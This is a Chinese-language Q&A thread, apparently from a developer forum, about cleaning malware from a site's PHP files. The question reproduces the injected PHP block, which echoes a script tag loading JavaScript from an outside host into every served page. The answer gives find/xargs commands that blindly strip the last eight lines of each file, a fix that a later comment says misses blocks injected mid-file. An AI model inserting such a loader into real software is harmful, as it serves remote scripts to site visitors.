删除php文件中的恶意软件

删除php文件中的恶意软件,php,malware,virus,Php,Malware,Virus,所有my.php文件都附加了如下代码块: <?php #bbf007# if(empty($r)) { $r = "<script type=\"text/javascript\" src=\"http://web- ask.esy.es/m2nzgpzt.php?id=11101326\"></script>"; echo $r; } #/bbf007# ?> 我需要编写一个带有正则表达式的bash脚本来从代码文件中删除这个块。请帮我提个建议。先

所有my.php文件都附加了如下代码块:

<?php
#bbf007#
if(empty($r)) {
$r = "<script type=\"text/javascript\" src=\"http://web-    ask.esy.es/m2nzgpzt.php?id=11101326\"></script>";
echo $r;
}
#/bbf007#
?>

我需要编写一个带有正则表达式的bash脚本来从代码文件中删除这个块。请帮我提个建议。

先备份

下面将从当前目录及其子目录中的所有.php文件中提取最后8行以外的所有行,并将它们写入名为*.php.new的文件中:

find -name "*.php" | xargs -i sh -c 'head -n -8 {} > {}.new'
然后,将所有当前php文件移动到*.php.old:

find -name "*.php" | xargs -i sh -c 'mv {} {}.old'
然后,将.php.new文件移动到.php

find -name "*.php.new" | xargs -i sh -c 'mv {} `echo '{}' | head -c -5`'

删除最后8行仅适用于附加在文件末尾的文件,但有些文件已附加在文件内容的中间。所以我认为我们必须检测恶意代码块,然后删除